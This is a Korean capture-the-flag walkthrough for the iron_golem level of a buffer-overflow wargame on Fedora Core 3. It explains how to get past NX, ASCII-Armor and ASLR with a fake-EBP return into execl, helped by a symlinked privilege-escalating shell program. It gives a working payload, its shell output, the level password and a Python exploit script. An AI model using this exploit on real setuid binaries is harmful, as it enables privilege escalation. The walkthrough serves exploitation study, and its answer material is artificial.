[FC3]Level1. iron_golem

 

Fake SFP + ASCII

/*
	The Lord of the BOF : The Fellowship of the BOF
	- iron_golem
	- Local BOF on Fedora Core 3
	- hint : fake ebp
*/

int main(int argc, char *argv[])
{
    char buffer[256];

    if(argc < 2){
        printf("argv error\n");
        exit(0);
    }

    strcpy(buffer, argv[1]);
    printf("%s\n", buffer);
}
f6dea000-f6df1000 rw-p f6dea000 00:00 0
f6df1000-f6df7000 r--s 00000000 fd:00 572196     /usr/lib/gconv/gconv-modules.cache
f6df7000-f6ff7000 r--p 00000000 fd:00 558549     /usr/lib/locale/locale-archive
f6ff7000-f6ff9000 rw-p f6ff7000 00:00 0
fef11000-ff000000 rw-p fef11000 00:00 0
ffffe000-fffff000 ---p 00000000 00:00 0

NX-bit가 설정되어 있어 스택(0xfe영역)에서 쉘코드를 실행하는 것이 불가능하다.

[gate@Fedora_1stFloor ~]$ ldd iron_golem
	libc.so.6 => /lib/tls/libc.so.6 (0x0071c000)
	/lib/ld-linux.so.2 (0x00703000)

ASCII-Armor로 설정되어 있으므로 라이브러리 주소를 사용할 수 없다.

[gate@Fedora_1stFloor ~]$ cat /proc/self/maps > 1
[gate@Fedora_1stFloor ~]$ cat /proc/self/maps > 2
[gate@Fedora_1stFloor ~]$ diff 1 2
10c10
< 09575000-09596000 rw-p 09575000 00:00 0
---
> 09c7c000-09c9d000 rw-p 09c7c000 00:00 0
13c13
< fef16000-ff000000 rw-p fef16000 00:00 0
---
> fee32000-ff000000 rw-p fee32000 00:00 0

스택(0xfe역역)에 ASLR도 설정되어있음을 알 수 있다.

적용된 메모리 보호기법을 정리하면 다음과 같다.

  • NX-bit : 스택에 쉘코드 실행 불가.
  • ASCII-Armor : ASCII-Armor가 설정되어 있지 않다면, ret에 execl()를 넣고 뒤에 이어서 인자값들을 넣어 실행 하면 되지만, ASCII-Armor로 인해 “\0” 값이 들어 가기 때문에 strcpy취약점으로 BoF를 일으킬때 페이로드가 끊긴다.(strcpy는 “\0”을 만날 때 까지 string값을 가져오기 때문)
  • 스택 ASLR : 스택영역 주소가 계속 바뀌기 때문에 주소 사용 힘듦.

따라서, ASLR을 우회하기 위해 주소가 변하지 않는 bss영역이나 got영역을 사용한다. 그리고 ret함수의 인자값을 참조시키기 위해 Fake EBP를 사용한다.

int execl(const char *path, const char *arg, ...)

execl의 함수의 정의 이다.

보통 함수들의 첫 번째 인자는 EBP+8, 두 번째 인자는 EBP+12 …이렇게 들어가게 된다.

.got.plt의 주소를 알아보자.

[gate@Fedora_1stFloor ~]$ readelf -S iron_golem
There are 28 section headers, starting at offset 0x840:

Section Headers:
  [Nr] Name              Type            Addr     Off    Size   ES Flg Lk Inf Al
  -----(생략)-----
  [21] .got.plt          PROGBITS        08049618 000618 00001c 04  WA  0   0  4
  [22] .data             PROGBITS        08049634 000634 00000c 00  WA  0   0  4
  [23] .bss              NOBITS          08049640 000640 000004 00  WA  0   0  4
  -----(생략)-----

got영역의 주소를 보면 0x08049618임을 확인 할 수 있다.

(gdb) x/8wx 0x8049618
0x8049618 <_GLOBAL_OFFSET_TABLE_>:	0x0804954c	0x007194f8	0x0070e9e0	0x00730d50

해당 주소를 보면 0x0804954c를 가리키고 있다.

(gdb) x/x 0x0804954c
0x804954c <_DYNAMIC>:	0x00000001

주소를 따라가보면 1이라는 값을 가지고 있다.

.got.plt 를 따라가보면 거의 대부분 1이라는 값을 가리키고 있기 때문에 이를 많이 사용한다.

여기서 중요한점은 FakeEBP를 사용하는 이유는 execl()함수의 인자값으로 참조 시키기 위함이라고 설명하였다.

그리고 대부분 함수에서 인자들은 EBP를 기준으로 EBP+8, EBP+12 이렇게 들어간다고 설명하였다.

따라서 우리도 이거에 맞춰서 .got.plt주소의 -8한 값을 넘겨주어야 EBP가 우리가 원하는 값으로 셋팅이 된다.

위와 같이 메모리상태가 되게 되면 execl(“\x01”) 함수가 실행되는 형태가 된다.

여기까지 execl함수를 이용하여 실행하는 것까지 되었지만, “\x01”이 실행되기 때문에 우리가 원하는 것이 실행되지 않는다.

이때 심볼릭 링크를 사용하여 뭔하는 프로그램이 실행되도록 하면 된다.

[gate@Fedora_1stFloor ~]$ cat ex.c
#include<stdio.h>

int main(){
	setreuid(geteuid(), geteuid());
	system("/bin/sh");
	return 0;
}

위 처럼 권한상승하는 ex라는 프로그램을 만들어 준다. 그리고 ex프로그램을 “\x01”라는 이름으로 심볼릭링크 걸어주면, execl(“\x01”)이 실행되면 ex프로그램이 실행되어 권한 상승이 일어나고 쉘이 실행되게 된다.

[gate@Fedora_1stFloor ~]$ ln -s ./ex `python -c 'print "\x01"'`
[gate@Fedora_1stFloor ~]$ ls -l
total 80
lrwxrwxrwx  1 gate       gate          4 Aug  1 12:46 ? -> ./ex

이제 execl()의 주소를 알아보자.

(gdb) p execl
$1 = {<text variable, no debug info>} 0x7a5720 <execl>

execl()의 주소는 0x7a5720이다. 여기서 생각해야 할 점은 우리는 FakeEBP기법을 이용해서 EBP 주소를 조작하고 있다.

따라서 함수에 프롤로그를 주의해야 한다.

(gdb) x/16i 0x7a5720
0x7a5720 <execl>:	push   %ebp
0x7a5721 <execl+1>:	mov    %esp,%ebp
0x7a5723 <execl+3>:	lea    0x10(%ebp),%ecx
0x7a5726 <execl+6>:	push   %edi
0x7a5727 <execl+7>:	push   %esi
0x7a5728 <execl+8>:	push   %ebx
0x7a5729 <execl+9>:	sub    $0x1038,%esp
0x7a572f <execl+15>:	mov    0xc(%ebp),%eax
0x7a5732 <execl+18>:	movl   $0x400,0xfffffff0(%ebp)
0x7a5739 <execl+25>:	lea    0x1b(%esp),%edx
0x7a573d <execl+29>:	and    $0xfffffff0,%edx

execl()를 살펴보면 함수의 프롤로그가 시작되면서 EBP를 재설정한다. 때문에 우리가 조작해 둔 FakeEBP가 무용지물 되므로, 프롤로그 이후 부터 실행되게 만들어야 한다.

따라서 ret주소에 execl()+3 주소를 사용해야 한다.

이제 준비는 다 됬다.

페이로드를 정리해보면,

  • buffer[256] + dummy[8]
  • .got.plt-8주소 : 0x8049618 - 8 : 0x8049610
  • execl()주소+3 : 0x007a5720 + 3 : 0x007a5723
[gate@Fedora_1stFloor ~]$ ./iron_golem `python -c 'print "A"*264+"\x10\x96\x04\x08"+"\x23\x57\x7a\x00"'`
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA#Wz
sh-3.00$ id
uid=501(iron_golem) gid=500(gate) groups=500(gate) context=user_u:system_r:unconfined_t
sh-3.00$ my-pass
euid = 501
blood on the fedora

파이썬 코드로도 ex를 짜보는 연습을 해보자.

import struct
import os

p32 = lambda x : struct.pack("<I", x)

target = "/home/gate/iron_golem"

fake_ebp = 0x8049618
execl = 0x7a5720

payload  = "A"*264
payload += p32(fake_ebp - 0x8)
payload += p32(execl + 0x3)

os.execv(target, (target, payload[:-1]))

iron_golem / blood on the fedora